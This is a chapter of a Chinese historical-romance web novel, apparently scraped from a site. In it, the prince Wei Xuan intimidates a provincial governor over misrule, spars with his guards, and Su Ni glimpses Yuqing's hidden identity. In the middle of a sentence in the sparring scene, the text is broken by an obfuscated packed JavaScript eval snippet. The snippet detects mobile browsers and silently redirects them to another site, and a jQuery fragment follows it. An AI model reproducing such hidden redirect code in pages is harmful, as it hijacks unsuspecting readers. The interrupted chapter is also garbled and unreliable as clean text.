7. 轩裳华胄(一)
作品:《扇拂玉堂春》 陇西太守李承泽快马加鞭,花了三日奔袭赶集村,途中换了一匹马,没敢歇。
一众车马礼品还在途中,在这二月底春暖还寒的天儿里,他终于骑着匹快马夤夜奔入了这赶集山下小小的村落。
从张浦揣着条锦帕包着的印玺来找了郡丞赵游算起,到今日已然过了六天了。
他堂堂地方太守,自是不屑与这埵城里的什么富户来往,只有此一回,他恨不能追去张浦家中问个详实。
一想到那张浦将其中一来二去道来时的情状,他仍是气闷。怎么就在他治下有这么些个糟心东西,远在边陲还能得罪了这煞星一样的人物,这是什么样的运道?!
张浦当时就已下狱,留着性命暂不发落,得看那一位是个什么意思。
凭他乐意,张浦该活该死都洗干净候着了。
此时的苏家西厢房里站着两个年轻人。二人身高差不太多,其中一人朝里站着,正弯腰递了颗药丸,一杯温水。一身的青色锦衣,面白无须,看着很是清秀,只腰背上悬着一把青蓝长剑,寒光如月华。
他朝着架子床上的人躬身道:“从京中一路赶来,咱们的人都知会了声,只宫中还没敢惊动。”
木头架子床上的人接过药丸,那药甚是苦涩,他却面色如常地待化开后慢慢饮下,如同饮的是御供新茶一般无至。
随后放下杯盏站了起来,房中烛火冉冉映出英挺的轮廓。藏蓝镶有银色暗纹的圆领锦袍,更是显得他身高腿长,清贵挺拔。
头顶玉冠,通身不着雕饰,只腰带下垂着一方冰块般的温润玉佩,麒麟形状,精巧霸气,雕工不似凡间物。
他垂眸理着窄袖,似不经意地瞥了一眼桌上摆放得整齐的灰白手帕,开口道:
“嗯。查到了没?”
另一人着一身黑色劲装,眉眼轮廓深邃,不似中原人的模样,背上正背着一把银面刀鞘,立刻抱拳应道:“山上的尸首,属下都验过了,确是西夷的毒。除此之外,身上并无可验明身份之物。”
低头理袖的人似乎对答案并不满意,未再开口。背了手,走到屋门前,抬头看向小院之中。
月光明亮,将这方小小天地铺满银白的光。院中一张石桌,围抱了四个石凳,有一个是破损的,倒在一边,上头染了青苔。
这三人不论气度,衣装都与这破败农家小院格格不入。
见他沉默不语,屋中也无人敢率先出声,皆低头敛眉。
忽然院门被人吱呀一声推开,来人正是李承泽。许多年不曾这样日夜兼程地赶路,让这个年刚过四十的一方太守形容颇为憔悴。
他一抬头就看到了月光下立在西厢房门前的人,还未跑到院中便向他拜倒在地,掏出胸前包好的印玺,高举过头:“下官来迟,罪该万死!”
那人看着他,脸上并无波澜,须臾才嘴角微微一笑,懒懒地“嗯”了一声。原来这人正是靖远王魏烜,乃皇上亲侄。
李承泽久久才听到一声轻嗯,一时心中更是忐忑,不敢起身。
魏烜缓步踱到院中,一撩衣摆在石桌旁坐下,行止之间,贵气非凡。
他垂眸看向跪倒在地的李承泽,沉沉的目光如有重量,压迫的人不敢抬头,直至李承泽高举过头顶的手臂开始微微发抖。
屋中青色锦衣的年轻人闪身出来,两手拖着茶盏,轻放在石桌上,又斟好茶水,动作间不曾有任何声响,随后便按剑而立。
黑色劲装的年轻人则单脚轻点,轻松飞跃出了屋子,接过李承泽手上之物恭敬地置于石桌上,也一并立在了魏烜身后。
“子贤上一次进京是什么时候的事了?”
魏烜端起茶轻啜一口。
李承泽不敢起身,这才抬手行礼回道:“回王爷的话,正是一年前了。”
“嗯。”
魏烜端着的茶杯将喝未喝,突然想起来又偏头问道:“安仁,上一次子贤送进京的奏报是怎么说的来着?”
青色锦衣的年轻人立刻垂首答道:“陇西郡一带民皆安其田里,而无有叹息愁恨之心。”
李承泽抱拳的礼未撤,双眼微露出迷茫之色,这可是给皇帝的奏报,怎的……
“不知陇西刺史周穆现在何处?”似闲谈般,魏烜语气透着懒散,低垂下的长睫隐入茶水的雾气中。
李承泽刚要开口回答,魏烜又慢悠悠道,“周穆似是已知晓了这小小赶集村里有强掳民女之事,与子贤所奏之民皆安其田里而无有叹息愁恨之心……相去甚远。”
几句话李承泽只觉得身上的汗都凉透了,此一时被院中的回旋风一吹,当真是透心的凉。
他在陇西治下多年,早已习惯当了这地方上的君主,军政民商皆有他一人说了算。
又近几年不论边关还是域内皆安定,全仰仗新王登基这七年,励精图治,让民众得以休养生息。京中派来的刺史周穆,他也是好好招待着,不曾怠慢过。
实际上,来之前他还亲请了周穆喝酒,酒席之上唱和之词还朗朗在耳。
按理说,是不至于背刺于他的。
转念又一想,不对,周穆那人惯常油盐不进,正经是笑面虎一个。
他莫不是……参他去了?!
不会,此一事如此绿豆芝麻,断不至于。
身心有如过了一遍冰火两重天,抬手擦了擦额角的汗,才开口道:“下……下官是冤枉的。”
“这小小赶集村,如若不是殿下路过此地,下官也是不知道地方的。这、这山野地方,民风野蛮,也是寻常。”
魏烜闻言点了点头,薄唇轻启,低音缓缓,“正是如此。不过普天之下莫非王土,即使是乡野边陲之地,也需遵从王法。只不知这陇西的王法,是姓魏……还是如今改姓了李?”
李承泽闻言瞪大了眼睛,心脏都漏了几拍,即刻俯身重重叩首,在石板地上磕出砰砰的声响,口中高呼:
“王爷恕罪,下官治下有所疏漏,理当受罚。可下官一片赤胆忠心,绝无二心,还请王爷明察啊!”
魏烜掀起眼皮看了看地上一直叩首不停的李承泽,抬手虚指了指他笑道:“子贤快起来吧,瞧把你吓的。”
李承泽一听,叩首的动作才顿了顿,抬头怯怯看向座上的那人。只见他笑容可掬,眉眼间疏朗,似将才一番真是说笑一般,这才缓缓起了身,又抬手擦了擦额角上的汗。
跪了这许久,又受了惊。这破落小院的石板地颇为崎岖,现下这寒凉的温度只觉从膝盖一路凉上脊柱,他心惊胆颤,暗暗预感极为不妥。
是夜不论他如何劝说,这位煞星人物就歇在了这破落小院的西厢房中。没有那一位的意思,他也只敢歇在院中,打了地铺,就在那棵歪脖子树下搭着的棚里,灶台边上。
许是连着三日未歇息了,如今是草垛还是石板地,都已无所谓,他倒头便是一顿好眠。
翌日卯时,天还未亮,就被院中动静惊醒。李承泽一睁眼就看见那二位侍从竟在对打,愣了好一会儿,才想明白应是在互相练手。
李承泽正扒在灶台边上看得起劲儿,忽见西厢房门开了,魏烜缓步而出,因为昨夜那番惊吓,李承泽一个弹射站起身来,往后连连退了两步。
魏烜换了身玄色暗纹锦袍,同色腰带上镶着红色丝边,整个人看起来神清气爽,贵气逼人。
“来,留点力气,换我上。”
安仁闻言自动自发地行礼退后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134413|150024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将场地让了出来给魏烜和安信。
这安信虽然和安仁年纪相仿,可是二人不论外形,性格,行事作风都截然相反。安信骤然起刀横劈,半点没有虚招。
魏烜招式依然大开大合,只手迎着刀势丝毫不见势弱。
李承泽看着这位矫健的身影,出手即使是面对自己人也毫不手软,心下暗惊这位爷的军功赫赫看来是一点不带掺水的。
又联想到他的生平,十四岁就随了军,大大小小的战功不胜凡几。一路杀伐决断地将他拱上了凉益二洲大将军的位置,统领着十五万兵马,虎符亲授,可佩剑宫中行走。
可见他所受圣宠,几乎无人能出其右。
只是这般盛宠可不是随便得来,且不说这战功,就说他十四岁时,先皇驾崩传位于新帝,宫中突遭哗变,他的父亲五王进宫救驾,为新帝以身挡箭,直至援军到来,哗变被镇压时,他的父亲也永远地倒在了龙座前。
待他十四岁随军进京时,迎接他的是他父亲的国葬之礼。
仅凭这,就是这独一份儿的荣耀和盛宠,自当是无人可比。
只这位爷如今年已二十有二,似是因为军务耽搁了成家之事。又因是五王爷的独子,听闻京中不少人家都盼着女儿能入了靖远亲王府,为妃为妾的都是个愿意。
此一说,常被人津津乐道,竞相猜测会是哪一位望门贵族家的女儿能入得了这位的青眼。
可是朝廷收复凉益二洲兵马也才数年之久,其中腥风血雨,大小战役何谈容易,如果没有铁血手腕,何来的如今二洲治下的安宁。
想来自己这太守之位当年亦是有眼前这位爷的首肯,自己在这陇西小小地方上,稍有风吹草动只怕都难逃他的耳目。
这么一想,心中越是不安,只觉得定是有了纰漏才有此一遭排头。搞不好已被他察觉,只他并未有动作,是以推测应该还未抓住实证。
周穆那厮,更不可能手上有什么。作为刺史,去岁才到任,嫩得跟个草似的,不足为惧。
几个回合下来,安信就已经落了败,被魏烜一拳打中肩头,他则顺势后撤,单膝点地,垂首抱拳,胸口急剧起伏,气息不稳。
魏烜轻轻拍了拍他的肩,“还是急躁了,有时候最好的攻是守,一味地冒进容易露出空门。”
安仁适时递上了一方锦帕给他擦汗,他似才发现李承泽就睡在了灶台边上,偏头笑问李承泽几时出发。
李承泽亦步亦趋地跟在魏烜身后,心中却暗暗叫苦,不知这尊煞星突发什么心情,硬要在陇西盘桓,这么听下来好似他并不着急离开的意思。
另一边厢,苏旎躺在了玉卿暖阁中的罗汉床上,辗转不能眠。三更天了,玉卿被请走之后却不见回房,也不知她是否夜夜如此。
苏旎干脆批衣下了塌,既然睡不着,就在院中等一等,玉卿回来若是醉酒也好照应一二。
月亮如银盘一般将这方小小的回廊照的如沐寒玉,初春的夜总是凉的,不一会儿苏旎便浑身凉透。
苏旎双手摩挲着冷的哆嗦的肩膀,想着还是回去房中等待,一转头便见屋顶之上正半蹲着个人!
月华之下,那人面皮本就白皙,被月色寒光衬得更是冷若冰霜。五官依稀可辨正是玉卿,只是她身着墨蓝色色圆领直缀,单手握着一把折扇,青玉的腰带上佩着一小块透亮的玉佩。
在屋檐上盯着苏旎的背影也不知多久了,丹凤眼中杀意暗涌,这一身夜行男装,气度凌厉,全然不是离去时的盛装扮相,哪里还有一丝一毫的弱柳扶风之态?
二人眼神交汇,苏旎倒吸一口凉气,眼中惊异不亚于那日在山上亲眼目睹了一场行刺。
“玉卿……姐姐?”